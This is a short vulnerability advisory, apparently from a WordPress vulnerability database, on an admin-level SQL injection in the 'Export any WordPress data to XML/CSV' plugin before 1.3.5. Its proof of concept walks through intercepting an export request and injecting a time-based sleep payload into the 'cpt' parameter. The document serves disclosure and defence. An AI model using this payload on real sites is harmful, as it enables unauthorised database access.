WordPress Plugin Vulnerabilities
Export any WordPress data to XML/CSV < 1.3.5 - Admin+ SQL Injection
Description
The plugin does not sanitize the cpt POST parameter when exporting post data before using it in a database query, leading to an SQL injection vulnerability.
Proof of Concept
1. Go to the All Export > New Export screen in the WordPress admin. 2. Now click on Specific Post Type > Posts. 3. Click now on Migrate Posts and intercept this request and look for the name cpt: Content-Disposition: form-data; name="cpt" post Change it to: Content-Disposition: form-data; name="cpt" post'+(select*from(select(sleep(10)))a)+' Now you will see a later response of 10 seconds, thus confirming the authenticity of the sqli vulnerability.
Affects Plugins
References
Classification
Type
SQLI
OWASP top 10
CWE
CVSS
Miscellaneous
Original Researcher
Asif Nawaz Minhas
Submitter
Asif Nawaz Minhas
Verified
Yes
WPVDB ID
Timeline
Publicly Published
2022-05-20 (about 1 years ago)
Added
2022-05-20 (about 1 years ago)
Last Updated
2023-02-13 (about 1 years ago)